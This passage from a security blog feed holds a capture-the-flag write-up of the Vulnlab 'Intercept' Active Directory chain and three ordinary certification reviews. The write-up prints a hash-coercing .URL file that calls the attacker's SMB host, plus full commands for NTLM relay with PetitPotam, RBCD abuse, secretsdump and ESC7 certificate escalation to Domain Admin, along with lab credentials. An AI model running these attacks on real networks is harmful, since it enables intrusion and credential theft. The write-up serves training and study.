starts with forced authentication using a file upload to grab a users hash. Using this user we performed the Resourced Based Contrained Delegation (RBCD) WebClient attack to escalate privileges. Finally using ESC7 we elevate privileges to Domain Admin.</p>

<p><img src="/assets/img/VL-Intercept/intercept_slide.png" alt="_install" /></p>

<h2 id="initial-access">Initial Access</h2>
<p>Starting off I added the following to the /etc/hosts file:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.10.185.69 intercept.vl
10.10.185.69 DC01.intercept.vl
10.10.185.70 WS01.intercept.vl
</code></pre></div></div>

<p>I started off with some nmap scans and quickly noticed that it was possible to access the dev share using an SMB null session.
<img src="/assets/img/VL-Intercept/null_session_dev.png" alt="_install" /></p>

<p>Using this, I entered the “dev” share and looked through the directories for interesting information.</p>

<p><img src="/assets/img/VL-Intercept/null_session_dev_2.png" alt="_install" /></p>

<p>Something that stood out to me is that there is a “readme.txt” file which says that the share is checked regularly for updates. This immediately made me think of “coerced authentication” being a possibility. We can craft a malicious .URL file that triggers an authentication request to our SMB listener when someone accesses the share. We can then attempt to relay or crack the authentication request. I crafted the following .URL payload:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>InternetShortcut]
<span class="nv">URL</span><span class="o">=</span>whatever
<span class="nv">WorkingDirectory</span><span class="o">=</span>whatever
<span class="nv">IconFile</span><span class="o">=</span><span class="se">\\</span>10.8.0.49<span class="se">\%</span>USERNAME%.icon
<span class="nv">IconIndex</span><span class="o">=</span>1
</code></pre></div></div>
<p>And uploaded it to the share using an smbclient session:</p>

<p><img src="/assets/img/VL-Intercept/file_upload.png" alt="_install" /></p>

<p>Next, I set up Responder with an SMB listener to capture the NTLMv2 hash of the Kathryn.Spencer Domain User:</p>

<p><img src="/assets/img/VL-Intercept/responder.png" alt="_install" /></p>

<p>Sadly, I can’t relay the connection to the Domain Controller because SMB Signing is enabled. However I always make sure to check this using netexec:</p>

<p><img src="/assets/img/VL-Intercept/signing_enabled.png" alt="_install" /></p>

<p>Despite SMB Signing being enabled by default on the Domain Controller, which prevents direct connection relaying, I decided to attempt cracking the hash with hashcat:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-a</span> 0 <span class="nt">-m</span> 5600 hash.txt /opt/rockyou.txt
</code></pre></div></div>
<p>This successfully recovered the password which ended up being “Chocolate1”. 
<img src="/assets/img/VL-Intercept/cracked_hash.png" alt="_install" /></p>

<h2 id="domain-enumeration">Domain Enumeration</h2>
<p>Now that we have a valid Domain account we can enumerate the domain using bloodhound. Let’s run the python remote ingester to collect some data:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodhound.py <span class="nt">-d</span> intercept.vl <span class="nt">-v</span> <span class="nt">--zip</span> <span class="nt">-c</span> All <span class="nt">-dc</span> DC01.intercept.vl <span class="nt">-ns</span> 10.10.185.69 <span class="nt">-u</span> <span class="s1">'Kathryn.spencer'</span> <span class="nt">-p</span> <span class="s1">'Chocolate1'</span> <span class="nt">--dns-timeout</span> 10
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/bloodhound.png" alt="_install" /></p>

<p>The user Kathryn.Spencer doesn’t have any interesting outbound permissions.</p>

<p><img src="/assets/img/VL-Intercept/bloodhound_enum.png" alt="_install" /></p>

<p>I continued to enumerate the Domain and figured out that the MachineAccountQuota has the default setting of “10”.
<img src="/assets/img/VL-Intercept/maq.png" alt="_install" /></p>

<p>And also figured out that the Domain Controller doesn’t have LDAP Signing enforced:</p>

<p><img src="/assets/img/VL-Intercept/ldap_signing.png" alt="_install" /></p>

<p>If the WebDAV service is also enabled we can perform an RBCD WebClient attack using coerced authentication such as PetitPotam. Let’s check if the WebDAV service is active using netexec:
<img src="/assets/img/VL-Intercept/webdav_client.png" alt="_install" /></p>

<h2 id="rbcd-webclient-attack">RBCD WebClient Attack</h2>
<p>Now that we know that the WebDAV service is active on WS01, LDAP Signing is disabled on the DC, and we can add machine accounts to the domain, we can abuse these conditions in combination with coerced authentication to escalate privileges. However, when relaying our coercion and add RBCD permissions to WS01 the authenticated connection has to originate from a trusted intranet zone. Luckily for us by default the “Authenticated Users” group can create child objects on the ADIDNS zone. Lets start off the attack by create a new A-record which points to our machine using dnstool.py:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dnstool.py <span class="nt">-u</span> <span class="s1">'intercept\kathryn.spencer'</span> <span class="nt">-p</span> <span class="s1">'Chocolate1'</span> <span class="nt">-a</span> add <span class="nt">-r</span> kali <span class="nt">-d</span> 10.8.0.49 10.10.185.69
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/dnstool.png" alt="_install" />
Next is starting ntlmrelayx for relaying the coerced authentication:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ntlmrelayx.py <span class="nt">-t</span> ldaps://10.10.185.69 <span class="nt">--delegate-access</span> <span class="nt">--http-port</span> 8080 <span class="nt">-smb2support</span>
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/ntlmrelayx.png" alt="_install" />
Finishing off, we coerce authenticated using PetitPotam to our created DNS record which is in trusted intranet zone which gets relayed to the Domain Controller to allow impersonation on WS01$ via S4U2Proxy. We can trigger the coercion using PetitPotam like so:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>petitpotam.py <span class="nt">-d</span> <span class="s2">"intercept.vl"</span> <span class="nt">-u</span> <span class="s2">"kathryn.spencer"</span> <span class="nt">-p</span> <span class="s2">"Chocolate1"</span> kali@8080/a 10.10.185.70
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/petitpotam.png" alt="_install" /></p>

<p>And if we now take a look at ntlmrelayx we see that a new computer has been created which allows us the impersonate users via S4U2Proxy:
<img src="/assets/img/VL-Intercept/relay_ok.png" alt="_install" /></p>

<p>Next we request a TGT for the CIFS service as the Administrator on the WS01 computer using getST.py:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>getST.py <span class="nt">-spn</span> cifs/WS01.intercept.vl <span class="nt">-dc-ip</span> 10.10.185.69 <span class="nt">-impersonate</span> administrator intercept.vl/PMZKVLGA<span class="nv">$:</span><span class="s1">'.Wpkn,gC7Xpd}9S'</span>
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/TGT.png" alt="_install" /></p>

<p>Now we export the TGT in memory and run secretsdump.py to obtain login information.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>administrator@cifs_WS01.intercept.vl@INTERCEPT.VL.ccache 
secretsdump.py administrator@WS01.intercept.vl <span class="nt">-k</span> <span class="nt">-no-pass</span>
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/secretsdump1.png" alt="_install" />
This reveals the password of the user Simon.Bowen. Lets check bloodhound if this user have any interesting permissions which we can abuse. Lookup at the output we can see that the user is member of the helpdesk groups which has GenericAll permissions on the ca-managers group.</p>

<p><img src="/assets/img/VL-Intercept/perms1.png" alt="_install" /></p>

<p>Now lets run certipy to find if this group have any interesting permissions:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy find <span class="nt">-username</span> Simon.Bowen@intercept.vl <span class="nt">-password</span> <span class="s1">'b0OI_fHO859+Aw'</span> <span class="nt">-dc-ip</span> 10.10.185.69
</code></pre></div></div>
<p>Looking at the output we see that the ca-managers group has ManageCa permission on the Certificate Authority which makes it vulnerable to ESC7
<img src="/assets/img/VL-Intercept/esc7.png" alt="_install" /></p>

<h2 id="ad-cs-misconfiguration-esc7">AD CS Misconfiguration (ESC7)</h2>
<p>To be able to abuse ESC7 we first need to add Simon.Bowen to the ca-managers group. This is possible because the group that he is part of (helpdesk) has GenericAll permissions on the group. We can add Simon to the group using net rpc:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net rpc group addmem <span class="s1">'ca-managers'</span> <span class="s1">'Simon.Bowen'</span> <span class="nt">-U</span> intercept.vl/Simon.Bowen <span class="nt">-S</span> DC01.intercept.vl 
</code></pre></div></div>
<p>To verify the user has been succesfully added to the group I re-ran bloodhound and confirmed Simon.Bowen is now part of the ca-managers group:
<img src="/assets/img/VL-Intercept/perms2.png" alt="_install" /></p>

<p>Now that we have sufficient permissions we can perform the ESC7 attack on the AD CS. First I added myself the Managed Certificated access right by adding myself as a new officer:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> certipy ca <span class="nt">-u</span> Simon.Bowen <span class="nt">-p</span> <span class="s1">'b0OI_fHO859+Aw'</span> <span class="nt">-dc-ip</span> 10.10.183.85 <span class="nt">-ca</span> intercept-DC01-CA <span class="nt">-add-officer</span> simon.bowen
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/esc7-p1.png" alt="_install" />
Now we check if the SubCA template can be enabled on the CA using the -enable-template parameter. By default the SubCA template is enabled.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy ca <span class="nt">-u</span> Simon.Bowen <span class="nt">-p</span> <span class="s1">'b0OI_fHO859+Aw'</span> <span class="nt">-dc-ip</span> 10.10.185.69 <span class="nt">-ca</span> intercept-DC01-CA <span class="nt">-list-template</span>
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/esc7-p2.png" alt="_install" />
Now that we have all the prerequisites for this attack we can start by request a certificate based on the SubCA template. This request will be denied but we will save the private key and note down the request ID:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req <span class="nt">-u</span> Simon.Bowen <span class="nt">-p</span> <span class="s1">'b0OI_fHO859+Aw'</span> <span class="nt">-dc-ip</span> 10.10.185.69 <span class="nt">-ca</span> intercept-DC01-CA <span class="nt">-template</span> <span class="s1">'SubCA'</span> <span class="nt">-upn</span> administrator@intercept.vl <span class="nt">-target</span> intercept.vl
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/esc7-p3.png" alt="_install" /></p>

<p>Having the manage certificate rights we can validate the failed request since we have the key:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy ca <span class="nt">-u</span> Simon.Bowen <span class="nt">-p</span> <span class="s1">'b0OI_fHO859+Aw'</span> <span class="nt">-dc-ip</span> 10.10.185.69 <span class="nt">-ca</span> <span class="s1">'intercept-DC01-CA'</span> <span class="nt">-issue-request</span> 5
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/esc7-p4.png" alt="_install" />
Now that the certificate is issued we can retrieve the administrator’s certificate:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req <span class="nt">-u</span> Simon.Bowen <span class="nt">-p</span> <span class="s1">'b0OI_fHO859+Aw'</span> <span class="nt">-dc-ip</span> 10.10.185.69 <span class="nt">-ca</span> <span class="s1">'intercept-DC01-CA'</span> <span class="nt">-target</span> intercept.vl <span class="nt">-retrieve</span> 5
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/esc7-p5.png" alt="_install" /></p>

<p>Now that we have a certificate of the administrator, we can use it to authenticate and retrieve the NT hash:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy auth <span class="nt">-pfx</span> administrator.pfx <span class="nt">-dc-ip</span> 10.10.185.69 <span class="nt">-domain</span> intercept.vl <span class="nt">-username</span> administrator
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/esc7-p6.png" alt="_install" /></p>

<p>We can use this hash to gain access the the DC using netexec:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb DC01.intercept.vl -u Administrator -H ad95c338a6cc5729ae7390acbe0ca91f -x whoami
</code></pre></div></div>
<p><img src="/assets/img/VL-Intercept/da_access.png" alt="_install" /></p>]]></content><author><name></name></author><category term="vulnlab" /><category term="AD" /><summary type="html"><![CDATA[Intercept is a hard rated chain which contains two machines WS01 and DC01. The chain starts with forced authentication using a file upload to grab a users hash. Using this user we performed the Resourced Based Contrained Delegation (RBCD) WebClient attack to escalate privileges. Finally using ESC7 we elevate privileges to Domain Admin. Initial Access Starting off I added the following to the /etc/hosts file: 10.10.185.69 intercept.vl 10.10.185.69 DC01.intercept.vl 10.10.185.70 WS01.intercept.vl I started off with some nmap scans and quickly noticed that it was possible to access the dev share using an SMB null session. Using this, I entered the “dev” share and looked through the directories for interesting information. Something that stood out to me is that there is a “readme.txt” file which says that the share is checked regularly for updates. This immediately made me think of “coerced authentication” being a possibility. We can craft a malicious .URL file that triggers an authentication request to our SMB listener when someone accesses the share. We can then attempt to relay or crack the authentication request. I crafted the following .URL payload: [InternetShortcut] URL=whatever WorkingDirectory=whatever IconFile=\\10.8.0.49\%USERNAME%.icon IconIndex=1 And uploaded it to the share using an smbclient session: Next, I set up Responder with an SMB listener to capture the NTLMv2 hash of the Kathryn.Spencer Domain User: Sadly, I can’t relay the connection to the Domain Controller because SMB Signing is enabled. However I always make sure to check this using netexec: Despite SMB Signing being enabled by default on the Domain Controller, which prevents direct connection relaying, I decided to attempt cracking the hash with hashcat: hashcat -a 0 -m 5600 hash.txt /opt/rockyou.txt This successfully recovered the password which ended up being “Chocolate1”. Domain Enumeration Now that we have a valid Domain account we can enumerate the domain using bloodhound. Let’s run the python remote ingester to collect some data: bloodhound.py -d intercept.vl -v --zip -c All -dc DC01.intercept.vl -ns 10.10.185.69 -u 'Kathryn.spencer' -p 'Chocolate1' --dns-timeout 10 The user Kathryn.Spencer doesn’t have any interesting outbound permissions. I continued to enumerate the Domain and figured out that the MachineAccountQuota has the default setting of “10”. And also figured out that the Domain Controller doesn’t have LDAP Signing enforced: If the WebDAV service is also enabled we can perform an RBCD WebClient attack using coerced authentication such as PetitPotam. Let’s check if the WebDAV service is active using netexec: RBCD WebClient Attack Now that we know that the WebDAV service is active on WS01, LDAP Signing is disabled on the DC, and we can add machine accounts to the domain, we can abuse these conditions in combination with coerced authentication to escalate privileges. However, when relaying our coercion and add RBCD permissions to WS01 the authenticated connection has to originate from a trusted intranet zone. Luckily for us by default the “Authenticated Users” group can create child objects on the ADIDNS zone. Lets start off the attack by create a new A-record which points to our machine using dnstool.py: dnstool.py -u 'intercept\kathryn.spencer' -p 'Chocolate1' -a add -r kali -d 10.8.0.49 10.10.185.69 Next is starting ntlmrelayx for relaying the coerced authentication: ntlmrelayx.py -t ldaps://10.10.185.69 --delegate-access --http-port 8080 -smb2support Finishing off, we coerce authenticated using PetitPotam to our created DNS record which is in trusted intranet zone which gets relayed to the Domain Controller to allow impersonation on WS01$ via S4U2Proxy. We can trigger the coercion using PetitPotam like so: petitpotam.py -d "intercept.vl" -u "kathryn.spencer" -p "Chocolate1" kali@8080/a 10.10.185.70 And if we now take a look at ntlmrelayx we see that a new computer has been created which allows us the impersonate users via S4U2Proxy: Next we request a TGT for the CIFS service as the Administrator on the WS01 computer using getST.py: getST.py -spn cifs/WS01.intercept.vl -dc-ip 10.10.185.69 -impersonate administrator intercept.vl/PMZKVLGA$:'.Wpkn,gC7Xpd}9S' Now we export the TGT in memory and run secretsdump.py to obtain login information. export KRB5CCNAME=administrator@cifs_WS01.intercept.vl@INTERCEPT.VL.ccache secretsdump.py administrator@WS01.intercept.vl -k -no-pass This reveals the password of the user Simon.Bowen. Lets check bloodhound if this user have any interesting permissions which we can abuse. Lookup at the output we can see that the user is member of the helpdesk groups which has GenericAll permissions on the ca-managers group. Now lets run certipy to find if this group have any interesting permissions: certipy find -username Simon.Bowen@intercept.vl -password 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 Looking at the output we see that the ca-managers group has ManageCa permission on the Certificate Authority which makes it vulnerable to ESC7 AD CS Misconfiguration (ESC7) To be able to abuse ESC7 we first need to add Simon.Bowen to the ca-managers group. This is possible because the group that he is part of (helpdesk) has GenericAll permissions on the group. We can add Simon to the group using net rpc: net rpc group addmem 'ca-managers' 'Simon.Bowen' -U intercept.vl/Simon.Bowen -S DC01.intercept.vl To verify the user has been succesfully added to the group I re-ran bloodhound and confirmed Simon.Bowen is now part of the ca-managers group: Now that we have sufficient permissions we can perform the ESC7 attack on the AD CS. First I added myself the Managed Certificated access right by adding myself as a new officer: certipy ca -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.183.85 -ca intercept-DC01-CA -add-officer simon.bowen Now we check if the SubCA template can be enabled on the CA using the -enable-template parameter. By default the SubCA template is enabled. certipy ca -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca intercept-DC01-CA -list-template Now that we have all the prerequisites for this attack we can start by request a certificate based on the SubCA template. This request will be denied but we will save the private key and note down the request ID: certipy req -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca intercept-DC01-CA -template 'SubCA' -upn administrator@intercept.vl -target intercept.vl Having the manage certificate rights we can validate the failed request since we have the key: certipy ca -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca 'intercept-DC01-CA' -issue-request 5 Now that the certificate is issued we can retrieve the administrator’s certificate: certipy req -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca 'intercept-DC01-CA' -target intercept.vl -retrieve 5 Now that we have a certificate of the administrator, we can use it to authenticate and retrieve the NT hash: certipy auth -pfx administrator.pfx -dc-ip 10.10.185.69 -domain intercept.vl -username administrator We can use this hash to gain access the the DC using netexec: nxc smb DC01.intercept.vl -u Administrator -H ad95c338a6cc5729ae7390acbe0ca91f -x whoami]]></summary></entry><entry><title type="html">Certified Azure Red Team Professional review</title><link href="https://jarnovdbrink.nl/posts/CARTP-review/" rel="alternate" type="text/html" title="Certified Azure Red Team Professional review" /><published>2023-09-13T00:00:00+00:00</published><updated>2023-09-13T00:00:00+00:00</updated><id>https://jarnovdbrink.nl/posts/CARTP-review</id><content type="html" xml:base="https://jarnovdbrink.nl/posts/CARTP-review/"><![CDATA[<p>The last few weeks, I have been busy studying the CARTP course. This course is designed for offensive security professionals looking to enter the field of attacking and defending Azure and Azure AD. The main reason I wanted to take this course was to delve deeper into the Azure field, as many companies are either migrating to Azure or utilizing it as part of a hybrid environment. Additionally, I noticed a high demand for Azure testing services within our company, so it felt great to enroll in a course focused on Azure and Azure AD.</p>

<h2 id="about-the-course">About the Course</h2>
<p>The course itself was created and presented by Nikkil mittal on the new Altered Security platform which is quite liked. The interface is clean, easy-to-use and overall just straightforward.</p>

<p>The course itself consist of 52 video’s which basically goes through a powerpoint which contains up to around 300 slides. One thing I liked about the video’s is that Nikkil is not just going over the slides but also share his own experience on certain topics, and goes a bit out of scope which can give new interesting perspective.</p>

<p>The course starts of with some general information about Azure/AAD. What Azure is, what services does Azure have, subscription models and other basic information are provided in the first couple of video’s. After that Nikil introduces 4 “killchains” that during the course he’ll go through. These killchains consist of the following stages:</p>
<ul>
  <li>Reconnaissance</li>
  <li>Initial Access</li>
  <li>Enumeration</li>
  <li>Privilege escalation</li>
  <li>Persistence</li>
  <li>Defense evasion</li>
  <li>Credential access</li>
  <li>Lateral movement</li>
  <li>Exfiltration</li>
</ul>

<p>I really liked how these killchains where setup, it gave a lot more body to the course. Everything in the course was clearly explained, and I want to give a huge thanks to the support team for their super quick responses.</p>

<h2 id="about-the-exam">About the Exam</h2>
<p>After studying for about three weeks, I took my exam on September 8, 2023. The exam had a total duration of 48 hours, with the first 24 hours for the lab and the next 24 hours for writing the report.</p>

<p>I started the exam around 9:00 AM and surprisingly found the final flag by 1:00 PM. I was initially puzzled by how quickly I found it and reached out to the support team for clarification. They confirmed that finding this flag was necessary to pass the exam.</p>

<p>Once I had the flag, I began writing my report. I was able to do this quickly because I had taken thorough notes and lots of screenshots, which I organized in Notion. I submitted my report to the support team at 7:35 PM. To my suprise, I received the news that I had passed the exam within two days!</p>

<p>The cover of my report:</p>

<p><img src="/assets/img/CARTP-review/report_cartp.png" alt="_install" /></p>
<h2 id="tips">Tips</h2>
<p>Some tips I’ve used during my RTO exam:</p>
<ul>
  <li>Before taking the CARTP course and exam, remember that there are no tools pre-installed in the exam VM. Make sure to download and install any necessary tools in advance.</li>
  <li>Take thorough notes, including all the commands you use, and ensure you understand the purpose and function of each command.</li>
  <li>During my exam, I encountered a situation that wasn’t covered directly in the course material. However, by applying logical thinking, I was able to find a solution.</li>
</ul>

<h2 id="so-whats-next">So what’s next?</h2>
<p>After passing the CARTP, I will most likely focus on completing school as quickly as possible. However, I will probably pursue the continuation of CRTO (which is CRTL) or attend the MalDev Academy afterward.</p>]]></content><author><name></name></author><category term="review" /><category term="CARTP" /><category term="Azure" /><category term="review" /><summary type="html"><![CDATA[The last few weeks, I have been busy studying the CARTP course. This course is designed for offensive security professionals looking to enter the field of attacking and defending Azure and Azure AD. The main reason I wanted to take this course was to delve deeper into the Azure field, as many companies are either migrating to Azure or utilizing it as part of a hybrid environment. Additionally, I noticed a high demand for Azure testing services within our company, so it felt great to enroll in a course focused on Azure and Azure AD.]]></summary></entry><entry><title type="html">Certified Red Team Operator review</title><link href="https://jarnovdbrink.nl/posts/CRTO-review/" rel="alternate" type="text/html" title="Certified Red Team Operator review" /><published>2022-09-24T00:00:00+00:00</published><updated>2022-09-24T00:00:00+00:00</updated><id>https://jarnovdbrink.nl/posts/CRTO-review</id><content type="html" xml:base="https://jarnovdbrink.nl/posts/CRTO-review/"><![CDATA[<p>On 20 September  2022, I officially became a Certified Red Team Operator 🥳. I was studying for the eCPTX certification, however due to my bad experience with their labs I decided to go for another Active Directory certificate: Certified Red Team Operator. The main reason for me to take the course was because of the extra experience you gain with Cobalt Strike, which in my opinion is valuable. The course was created by RastaMouse and is available on the <a href="https://training.zeropointsecurity.co.uk/courses/red-team-ops">Zero-point Security</a> platform. The course teaches the basic principles, tools, and techniques, that are synonymous with red teaming. It covers the core concepts of adversary simulation using Cobalt Strike, and how to plan an engagement from beginning to end. It teaches the attack lifecycle from initial compromise to full domain takeover, data hunting, and exfiltration. With keeping operation security (OPSEC) in mind. 🥷</p>

<h2 id="about-the-course">About the Course</h2>
<p>The RTO course consists of several videos and slides presented by Zero-point Security, which includes a lab environment. Some of the things that are mentioned in the course:</p>
<ul>
  <li>Setting up an engagement (Scoping, planning, RoE);</li>
  <li>Command &amp; Control;</li>
  <li>Reconaissance and persistence;</li>
  <li>Lateral Movement;</li>
  <li>Data Protection API;</li>
  <li>Domain Dominance;</li>
  <li>Bypassing Defences;</li>
  <li>Extending Cobalt Strike.</li>
</ul>

<h2 id="about-the-exam">About the Exam</h2>
<p>The exam in my experience wasn’t that hard. It was a bit harder than the CRTP exam I did earlier but wasn’t anything special. Once you plan the exam, you receive a document with all the information you need to build your threat profile and additional information you need. The exam had a few bugs, which made it a bit harder. In the image below you see my scoreboard for the overall exam.</p>

<p><img src="/assets/img/CRTO-review/scoring.png" alt="_install" /></p>

<p>The great thing about the exam is that you have to build your threat profile, to simulate a real-life APT. And you have your build your own tools to bypass any security restrictions that may be in place. To pass the exam, you need to find 6/8 flags, without sending a rapport 😀</p>

<h2 id="my-opinion">My Opinion</h2>
<p>In my opinion, the course is great, however, if you don’t have a lot of experience with Active Directory I would suggest you start doing the CRTP first. The course was clear and easy to read through. I had no problems understanding any of the explained attacks or methodology. If you want to pass the RTO exam, you should familiarize yourself with everything in the course and you’ll be ready to take on the exam. It took me around 2-3 months of learning combined with a 4-5 day job.</p>

<h2 id="tips">Tips</h2>
<p>Some tips I’ve used during my RTO exam:</p>
<ul>
  <li>Build your threat profile, before starting the actual exam. This will save you a lot of time!</li>
  <li>Understand how you can build/modify your tools, so they won’t get caught.</li>
  <li>Take notes during the course, and create a cheat sheet. This will save you a lot of time. You can simply copy and paste commands into your beacons.</li>
</ul>

<h2 id="so-whats-next">So what’s next?</h2>
<p>After passing the CRTO course, I will now try and get my OSCP certification. I’ll try to keep you people up to date with my experiences with Offensive Security.</p>]]></content><author><name></name></author><category term="review" /><category term="CRTO" /><category term="AD" /><category term="certificate" /><summary type="html"><![CDATA[On 20 September 2022, I officially became a Certified Red Team Operator 🥳. I was studying for the eCPTX certification, however due to my bad experience with their labs I decided to go for another Active Directory certificate: Certified Red Team Operator. The main reason for me to take the course was because of the extra experience you gain with Cobalt Strike, which in my opinion is valuable. The course was created by RastaMouse and is available on the Zero-point Security platform. The course teaches the basic principles, tools, and techniques, that are synonymous with red teaming. It covers the core concepts of adversary simulation using Cobalt Strike, and how to plan an engagement from beginning to end. It teaches the attack lifecycle from initial compromise to full domain takeover, data hunting, and exfiltration. With keeping operation security (OPSEC) in mind. 🥷]]></summary></entry><entry><title type="html">Certified Red Team Professional Review</title><link href="https://jarnovdbrink.nl/posts/CRTP-review/" rel="alternate" type="text/html" title="Certified Red Team Professional Review" /><published>2022-08-04T00:00:00+00:00</published><updated>2022-08-04T00:00:00+00:00</updated><id>https://jarnovdbrink.nl/posts/CRTP-review</id><content type="html" xml:base="https://jarnovdbrink.nl/posts/CRTP-review/"><![CDATA[<p>On 10 March 2022, I officially became a Certified Red Team Professional. After passing the eCPPT I wanted to gain more knowledge of Active Directory exploitation so I decided to give PentesterAcademy a try. I am not completely new to Active Directory since I’ve worked as a System Administrator for some time, and had several classes in school about setting up AD environments. At the time the course was around 250$ included with 1 exam attempt. So I decided to buy it after some good recommendations. The reason I want to gain more knowledge of AD exploitation is that 90% of Enterprise networks are based on Active Directory. And sooner or later you will stumble across it.</p>

<h2 id="about-the-crtp-course">About the CRTP Course</h2>
<p>The CRTP course consists of several videos presented by Nikhil Mittal, included with a lab environment and a PDF file. Some of the following topics were covered:</p>
<ul>
  <li>AD Enumeration (Users, Groups, Computers, ACLs, GPOs, Permissions, etc..)</li>
  <li>Bypassing Defenses (AMSI, Constrained Language Mode, AV)</li>
  <li>Local/Domain Privilege Escalation</li>
  <li>Domain Persistence Techniques</li>
  <li>Cross Trust Attacks</li>
  <li>Abusing SQL server trusts</li>
  <li>Defending Active Directory</li>
</ul>

<h2 id="about-the-exam">About the Exam</h2>
<p>The exam is my experience is really fun! You can start the exam whenever you want. You should keep in mind that the support team is located in India and may have a different time zone, so they may have long response times. You will get 24 hours to exploit 5 machines that are all up to date. The only way to can exploit a machine is by using misconfigurations. After completing the exam you have another 48 hours to write a report which should have detailed steps on how you exploited the machines. I started my exam on 5 march, send my report on 6 March and on 10 March I received the good news that I successfully passed the CRTP! 🎉</p>

<p><img src="/assets/img/CRTP-review/crtp.png" alt="_install" /></p>

<p>The good thing about the exam is that it is not very CTF like, it could be a real-life scenario which in my opinion is a big plus. You can pass this exam using all the tools that are used throughout the course. Keep in mind that these tools are not pre-installed in the environment, you have to import them yourself. Despite being stuck on the exam for a few hours I think 24 hours is easily enough to pass the exam. Bloodhound is always your friend and has been my go-to in this exam! 🙃</p>

<h2 id="my-opinion">My Opinion</h2>
<p>In my opinion, the course is great, it is perfect for beginners with little to no knowledge of Active Directory. In the video Nikhil (the instructor) goes over the CRTP lab and gives a few learning objectives afterward. This concept worked well for me since it tests if you understand everything. If you understand all the videos and objectives you will be 100% able to pass the exam in one go. Another thing to note is that sometimes the material can be confusing because they overcomplicate things. I put some good resources at the end of the blog post. 👀</p>

<h2 id="tips">Tips</h2>
<p>If you want to also get the CRTP certification below are some of my tips that helped me a lot during the exam.</p>

<ul>
  <li><strong>Creating a cheat sheet:</strong> Within the exam you will find yourself looking up command syntaxes every time. To save time create a list of the commands, so you can copy and paste them without looking up the entire thing every time.</li>
  <li><strong>Prepare the reporting:</strong> With “Prepare the reporting” I mean that you should make a report template to your liking, and find a good screenshot tool. I use <a href="https://getgreenshot.org/"><strong>Greenshot</strong></a>. Preparing for this will prevent you from having to go back to the lab, take a screenshot and continue (If you still have access to it.. 😇)</li>
  <li><strong>Get comfortable with the lab objectives</strong>: Everything that is mentioned in the course will come back in the lab objectives. This means if you understand every lab objective, what you’re exactly doing, and why you’re doing it. You can easily nail the exam.</li>
  <li><strong>BloodHound</strong>: If you find yourself being stuck on the exam, you don’t know what the next step is. Answer is: BloodHound 💓. I’ve found myself being stuck on some parts within the exam which is completely normal. Especially the “help” function is really good since it tells you what to do.</li>
</ul>

<p>Another good source of informatie is an official PentesterAcademy discord group I found. Instead of e-mailing the support team everytime you can also ask you questions <a href="https://discord.gg/w5HHwDcfeZ"><strong>here</strong></a>. Besides that anoter good website called <a href="https://www.ired.team/"><strong>ired.team</strong></a> helped my alot to understand certain attacking techniques.</p>

<p><em>Example of what the front page of my report looked like:</em>
<img src="/assets/img/CRTP-review/rapport.png" alt="_install" /></p>

<h2 id="so-whats-next">So what’s next?</h2>
<p>Soo… after passing the CRTP exam, I am currently trying to get my hands on the eCTPX from eLearnSecurity. The eCPTX also focuses on Active Directory exploitation using Kali and C2 frameworks. I think I’ll be busy for quite some time with the eCPTX because of the ginormous amount of learning material and lab objectives. I’ll be posting on interesting topics of this certification once in a while.</p>]]></content><author><name></name></author><category term="review" /><category term="CRTP" /><category term="AD" /><category term="certificate" /><summary type="html"><![CDATA[On 10 March 2022, I officially became a Certified Red Team Professional. After passing the eCPPT I wanted to gain more knowledge of Active Directory exploitation so I decided to give PentesterAcademy a try. I am not completely new to Active Directory since I’ve worked as a System Administrator for some time, and had several classes in school about setting up AD environments. At the time the course was around 250$ included with 1 exam attempt. So I decided to buy it after some good recommendations. The reason I want to gain more knowledge of AD exploitation is that 90% of Enterprise networks are based on Active Directory. And sooner or later you will stumble across it.]]></summary></entry></feed>